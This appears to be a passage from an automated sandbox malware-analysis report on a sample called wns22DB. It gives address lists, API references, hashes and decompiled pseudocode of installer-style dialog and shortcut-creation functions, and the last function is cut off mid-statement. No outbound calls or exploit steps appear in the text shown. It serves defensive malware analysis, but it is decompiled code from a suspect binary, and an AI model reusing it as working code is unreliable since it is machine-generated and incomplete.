0x00405234
0x00405235
0x00405236
0x00405238
0x00405238
0x00405240
0x00405281
0x00405283
0x00405293
0x00405296
0x0040529b
0x004052a2
0x004052a5
0x00405347
0x0040534d
0x0040535b
0x0040536c
0x0040536c
0x00000000
0x0040535b
0x004052ab
0x004052ae
0x004052b4
0x004052b9
0x004052bb
0x004052bd
0x004052c3
0x004052ca
0x004052cf
0x004052d6
0x004052d9
0x004052d9
0x004052e0
0x004052ec
0x004052f0
0x004052f2
0x004052f2
0x004052e2
0x004052e4
0x004052e4
0x00405312
0x0040531e
0x0040532d
0x0040532d
0x0040532f
0x00405332
0x0040533b
0x00000000
0x00405242
0x0040524d
0x00405250
0x00405255
0x00405257
0x0040525b
0x0040526b
0x00405275
0x00405277
0x0040527a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040525d
0x0040525d
0x00405263
0x00405265
0x00405265
0x00405266
0x00405267
0x00000000
0x0040525d
0x00405240
0x0040521b
0x0040515e
0x00000000
0x00405174
0x0040517e
0x00405183
0x00000000
0x00000000
0x00405195
0x0040519a
0x004051a6
0x004051a6
0x004051a8
0x004051b7
0x004051b9
0x004051bd
0x004051c0
0x00000000
0x004051c0
0x0040515e
0x00404e1e
0x00404e23
0x00404e2c
0x00404e33
0x00404e41
0x00404e4c
0x00404e52
0x00404e60
0x00404e74
0x00404e79
0x00404e86
0x00404e8b
0x00404ea1
0x00404eb2
0x00404ebf
0x00404ebf
0x00404ec2
0x00404ec8
0x00404eca
0x00404ecd
0x00404ed2
0x00404ed7
0x00404ed9
0x00404ed9
0x00404ef9
0x00404ef9
0x00404efb
0x00404efc
0x00404f01
0x00404f04
0x00404f07
0x00404f0b
0x00404f10
0x00404f15
0x00404f19
0x00404f1e
0x00404f23
0x00404f25
0x00404f2d
0x00404ff8
0x0040500b
0x00000000
0x00404f33
0x00404f36
0x00404f39
0x00404f3c
0x00404f3c
0x00404f43
0x00404f49
0x00404f4c
0x00404f52
0x00404f53
0x00404f58
0x00404f61
0x00404f68
0x00404f6b
0x00404f6e
0x00404f71
0x00404fad
0x00404fd6
0x00404faf
0x00404fbc
0x00404fbc
0x00404f73
0x00404f76
0x00404f85
0x00404f8f
0x00404f97
0x00404f9e
0x00404fa6
0x00404fa6
0x00404f71
0x00404fdc
0x00404fdd
0x00404fe9
0x00404fe9
0x00404ff6
0x00405011
0x00405015
0x00405032
0x00405037
0x00000000
0x00405017
0x0040501c
0x00405025
0x004053af
0x004053c1
0x004053c1
0x00405015
0x00000000
0x00404ff6
0x00404f2d

APIs

GetDlgItem.USER32 ref: 00404DE4
GetDlgItem.USER32 ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32 ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32 ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32 ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32 ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
N, xrefs: 00405057
, xrefs: 00405385

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2e47159a8ee18e206dd23a4901cc844ba6fc231fc2eeb5e404362fef1fcfc38e
Instruction ID: d2f35d8900002cfc25ccfd4abe259465259501dfb46309a939b5c4dc2546952f
Opcode Fuzzy Hash: 2e47159a8ee18e206dd23a4901cc844ba6fc231fc2eeb5e404362fef1fcfc38e
Instruction Fuzzy Hash: 45028CB0900609EFEB109F94CD85AAE7BB5FB44314F10817AF615BA2E1C7798E42DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00402104() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x4c)) = E00402C41(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x3c)) = E00402C41(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402C41(2);
				 *((intOrPtr*)(_t107 - 0x48)) = E00402C41(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402C41(0x45);
				_t52 =  *(_t107 - 0x18);
				 *(_t107 - 0x44) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x38) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405D34( *((intOrPtr*)(_t107 - 0x3c))) == 0) {
					E00402C41(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x30);
					 *((intOrPtr*)(_t107 - 0x10)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x3c)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x4c9000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x38));
						_t91 =  *((intOrPtr*)(_t107 - 0x48));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x44));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x30));
							 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x4c)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x30));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x0040210d
0x00402117
0x00402121
0x0040212b
0x00402136
0x00402139
0x00402153
0x00402156
0x0040215c
0x0040215f
0x00402169
0x0040216d
0x0040216d
0x00402172
0x00402183
0x0040218b
0x00402242
0x00402242
0x00402249
0x00402191
0x00402191
0x004021a0
0x004021a4
0x004021a7
0x004021ad
0x004021bb
0x004021be
0x004021c0
0x004021cb
0x004021cb
0x004021d0
0x004021d2
0x004021d9
0x004021d9
0x004021dc
0x004021e5
0x004021e8
0x004021ee
0x004021f0
0x004021fa
0x004021fa
0x004021fd
0x00402206
0x00402209
0x00402212
0x00402218
0x0040221a
0x00402228
0x00402228
0x0040222b
0x00402231
0x00402231
0x00402234
0x0040223a
0x00402240
0x00402255
0x00000000
0x00000000
0x00000000
0x00402240
0x0040224b
0x00402ac8
0x00402ad4

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 3c2a2362cff053ae1d7c0e75c0f1ca74f1c8bad5071b28ade88948ea9147a890
Instruction ID: 9bf21a461f45ca9ede348bf2f5d3e2a4fdca70f5c54a4bf8f8a9e28148a02939
Opcode Fuzzy Hash: 3c2a2362cff053ae1d7c0e75c0f1ca74f1c8bad5071b28ade88948ea9147a890
Instruction Fuzzy Hash: DB414971A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00403E86(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				struct HWND__* _t51;
				signed int _t70;
				struct HWND__* _t76;
				signed int _t89;
				struct HWND__* _t94;
				signed int _t102;
				int _t106;
				signed int _t118;
				signed int _t119;
				int _t120;
				signed int _t125;
				struct HWND__* _t128;
				struct HWND__* _t129;
				int _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t118 = _a8;
				if(_t118 == 0x110 || _t118 == 0x408) {
					_t37 = _a12;
					_t128 = _a4;
					__eflags = _t118 - 0x110;
					 *0x446710 = _t37;
					if(_t118 == 0x110) {
						 *0x470248 = _t128;
						 *0x446724 = GetDlgItem(_t128, 1);
						_t94 = GetDlgItem(_t128, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x4366f0 = _t94;
						E0040435F(_t128);
						SetClassLongW(_t128, 0xfffffff2,  *0x468228);
						 *0x46820c = E0040140B(4);
						_t37 = 1;
						__eflags = 1;
						 *0x446710 = 1;
					}
					_t125 =  *0x40a39c; // 0xffffffff
					_t136 = 0;
					_t133 = (_t125 << 6) +  *0x470280;
					__eflags = _t125;
					if(_t125 < 0) {
						L34:
						E004043AB(0x40b);
						while(1) {
							_t39 =  *0x446710;
							 *0x40a39c =  *0x40a39c + _t39;
							_t133 = _t133 + (_t39 << 6);
							_t41 =  *0x40a39c; // 0xffffffff
							__eflags = _t41 -  *0x470284;
							if(_t41 ==  *0x470284) {
								E0040140B(1);
							}
							__eflags =  *0x46820c - _t136;
							if( *0x46820c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x470284; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t119 =  *(_t133 + 0x14);
							E0040640A(_t119, _t128, _t133, 0x4e9000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E0040435F(_t128);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E0040435F(_t128);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E0040435F(_t128);
							_t51 = GetDlgItem(_t128, 3);
							__eflags =  *0x4702ec - _t136;
							_v32 = _t51;
							if( *0x4702ec != _t136) {
								_t119 = _t119 & 0x0000fefd | 0x00000004;
								__eflags = _t119;
							}
							ShowWindow(_t51, _t119 & 0x00000008);
							EnableWindow( *(_t137 + 0x30), _t119 & 0x00000100);
							E00404381(_t119 & 0x00000002);
							_t120 = _t119 & 0x00000004;
							EnableWindow( *0x4366f0, _t120);
							__eflags = _t120 - _t136;
							if(_t120 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t128, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x38), 0xf4, _t136, 1);
							__eflags =  *0x4702ec - _t136;
							if( *0x4702ec == _t136) {
								_push( *0x446724);
							} else {
								SendMessageW(_t128, 0x401, 2, _t136);
								_push( *0x4366f0);
							}
							E00404394();
							E004063E8(0x446728, E00403E67());
							E0040640A(0x446728, _t128, _t133,  &(0x446728[lstrlenW(0x446728)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t128, 0x446728);
							_push(_t136);
							_t70 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t70;
							if(_t70 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x468218);
									 *0x43e700 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L58;
									}
									_t76 = CreateDialogParamW( *0x470240,  *_t133 +  *0x468220 & 0x0000ffff, _t128,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
									__eflags = _t76 - _t136;
									 *0x468218 = _t76;
									if(_t76 == _t136) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E0040435F(_t76);
									GetWindowRect(GetDlgItem(_t128, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t128, _t137 + 0x10);
									SetWindowPos( *0x468218, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x46820c - _t136;
									if( *0x46820c != _t136) {
										goto L61;
									}
									ShowWindow( *0x468218, 8);
									E004043AB(0x405);
									goto L58;
								}
								__eflags =  *0x4702ec - _t136;
								if( *0x4702ec != _t136) {
									goto L61;
								}
								__eflags =  *0x4702e0 - _t136;
								if( *0x4702e0 != _t136) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x468218);
						 *0x470248 = _t136;
						EndDialog(_t128,  *0x43a6f8);
						goto L58;
					} else {
						__eflags = _t37 - 1;
						if(_t37 != 1) {
							L33:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t89 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t89;
						if(_t89 == 0) {
							goto L33;
						}
						SendMessageW( *0x468218, 0x40f, 0, 1);
						__eflags =  *0x46820c;
						return 0 |  *0x46820c == 0x00000000;
					}
				} else {
					_t128 = _a4;
					_t136 = 0;
					if(_t118 == 0x47) {
						SetWindowPos( *0x446708, _t128, 0, 0, 0, 0, 0x13);
					}
					if(_t118 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x446708,  ~(_a12 - 1) & _t118);
					}
					if(_t118 != 0x40d) {
						__eflags = _t118 - 0x11;
						if(_t118 != 0x11) {
							__eflags = _t118 - 0x111;
							if(_t118 != 0x111) {
								L26:
								return E004043C6(_t118, _a12, _a16);
							}
							_t135 = _a12 & 0x0000ffff;
							_t129 = GetDlgItem(_t128, _t135);
							__eflags = _t129 - _t136;
							if(_t129 == _t136) {
								L13:
								__eflags = _t135 - 1;
								if(_t135 != 1) {
									__eflags = _t135 - 3;
									if(_t135 != 3) {
										_t130 = 2;
										__eflags = _t135 - _t130;
										if(_t135 != _t130) {
											L25:
											SendMessageW( *0x468218, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x4702ec - _t136;
										if( *0x4702ec == _t136) {
											_t102 = E0040140B(3);
											__eflags = _t102;
											if(_t102 != 0) {
												goto L26;
											}
											 *0x43a6f8 = 1;
											L21:
											_push(0x78);
											L22:
											E00404338();
											goto L26;
										}
										E0040140B(_t130);
										 *0x43a6f8 = _t130;
										goto L21;
									}
									__eflags =  *0x40a39c - _t136; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t135);
								goto L22;
							}
							SendMessageW(_t129, 0xf3, _t136, _t136);
							_t106 = IsWindowEnabled(_t129);
							__eflags = _t106;
							if(_t106 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongW(_t128, _t136, _t136);
						return 1;
					} else {
						DestroyWindow( *0x468218);
						 *0x468218 = _a12;
						L58:
						if( *0x456728 == _t136 &&  *0x468218 != _t136) {
							ShowWindow(_t128, 0xa);
							 *0x456728 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x00403e8f
0x00403e98
0x00403fd9
0x00403fdd
0x00403fe1
0x00403fe3
0x00403fe8
0x00403ff3
0x00403ffe
0x00404003
0x00404005
0x00404007
0x0040400a
0x0040400f
0x0040401d
0x0040402a
0x00404031
0x00404031
0x00404032
0x00404032
0x00404037
0x0040403d
0x00404044
0x0040404a
0x0040404c
0x0040408c
0x00404091
0x00404096
0x00404096
0x0040409b
0x004040a4
0x004040a6
0x004040ab
0x004040b1
0x004040b5
0x004040b5
0x004040ba
0x004040c0
0x00000000
0x00000000
0x004040cb
0x004040d1
0x00000000
0x00000000
0x004040da
0x004040e2
0x004040e7
0x004040ea
0x004040f0
0x004040f5
0x004040f8
0x004040fe
0x00404103
0x00404106
0x0040410c
0x00404114
0x0040411a
0x00404120
0x00404124
0x0040412b
0x0040412b
0x0040412b
0x00404135
0x00404147
0x00404153
0x00404158
0x00404162
0x00404168
0x0040416a
0x0040416f
0x0040416c
0x0040416c
0x0040416c
0x0040417f
0x00404197
0x00404199
0x0040419f
0x004041b4
0x004041a1
0x004041aa
0x004041ac
0x004041ac
0x004041ba
0x004041cb
0x004041e1
0x004041e8
0x004041ee
0x004041f2
0x004041f7
0x004041f9
0x00000000
0x004041ff
0x004041ff
0x00404201
0x00000000
0x00000000
0x00404207
0x0040420b
0x00404230
0x00404236
0x0040423c
0x0040423e
0x00000000
0x00000000
0x00404264
0x0040426a
0x0040426c
0x00404271
0x00000000
0x00000000
0x00404277
0x0040427a
0x0040427d
0x00404294
0x004042a0
0x004042b9
0x004042bf
0x004042c3
0x004042c8
0x004042ce
0x00000000
0x00000000
0x004042d8
0x004042e3
0x00000000
0x004042e3
0x0040420d
0x00404213
0x00000000
0x00000000
0x00404219
0x0040421f
0x00000000
0x00000000
0x00000000
0x00404225
0x004041f9
0x004042f0
0x004042fc
0x00404303
0x00000000
0x0040404e
0x0040404e
0x00404051
0x00404084
0x00404084
0x00404086
0x00000000
0x00000000
0x00000000
0x00404086
0x00404053
0x00404057
0x0040405c
0x0040405e
0x00000000
0x00000000
0x0040406e
0x00404076
0x00000000
0x0040407c
0x00403eaa
0x00403eaa
0x00403eae
0x00403eb3
0x00403ec2
0x00403ec2
0x00403ecb
0x00403ed4
0x00403edf
0x00403edf
0x00403eeb
0x00403f07
0x00403f0a
0x00403f1d
0x00403f23
0x00403fc6
0x00000000
0x00403fcf
0x00403f29
0x00403f36
0x00403f38
0x00403f3a
0x00403f59
0x00403f59
0x00403f5c
0x00403f61
0x00403f64
0x00403f74
0x00403f75
0x00403f77
0x00403fad
0x00403fc0
0x00000000
0x00403fc0
0x00403f79
0x00403f7f
0x00403f98
0x00403f9d
0x00403f9f
0x00000000
0x00000000
0x00403fa1
0x00403f8d
0x00403f8d
0x00403f8f
0x00403f8f
0x00000000
0x00403f8f
0x00403f82
0x00403f87
0x00000000
0x00403f87
0x00403f66
0x00403f6c
0x00000000
0x00000000
0x00403f6e
0x00000000
0x00403f6e
0x00403f5e
0x00000000
0x00403f5e
0x00403f44
0x00403f4b
0x00403f51
0x00403f53
0x00000000
0x00000000
0x00000000
0x00403f53
0x00403f0f
0x00000000
0x00403eed
0x00403ef3
0x00403efd
0x00404309
0x0040430f
0x0040431c
0x00404322
0x00404322
0x0040432c
0x00000000
0x0040432c
0x00403eeb

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32 ref: 00403F0F
GetDlgItem.USER32 ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32 ref: 00403FF9
GetDlgItem.USER32 ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32 ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32 ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00446728,?,00446728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00446728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(gD, xrefs: 004041C4

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (gD
API String ID: 184305955-2450699939
Opcode ID: 48a7949b4d51a1ec232375b91bbbfbe9bb62f1b02b2dd2e3074461365575c3ec
Instruction ID: dffee297adc4390e0108bf821a76a55ee3af39d38e00891df0cde6976b1e4786
Opcode Fuzzy Hash: 48a7949b4d51a1ec232375b91bbbfbe9bb62f1b02b2dd2e3074461365575c3ec
Instruction Fuzzy Hash: 51C1B3B1540600EFDB216FA1EE85D2B3BA8EB85706F10053EFB41B11F1CB7998919B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040451E(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x4366f4 =  *0x4366f4 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E004043C6(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x4601e0;
							if(_t103 - _t113 < 0x4000) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E004047CD(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x470248, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x470248, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x4366f4 != 0) {
						goto L27;
					} else {
						_t116 =  *0x43e700 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00404381(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004047A9();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x46821c - 4 + _t75 * 4);
				}
				_t76 =  *0x470298 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E004044CF;
				if(_t110 != 2) {
					_v8 = E00404495;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E0040435F(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E0040435F(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00404381( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E00404394(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x470254 + 0x68);
				if(_t92 < 0) {
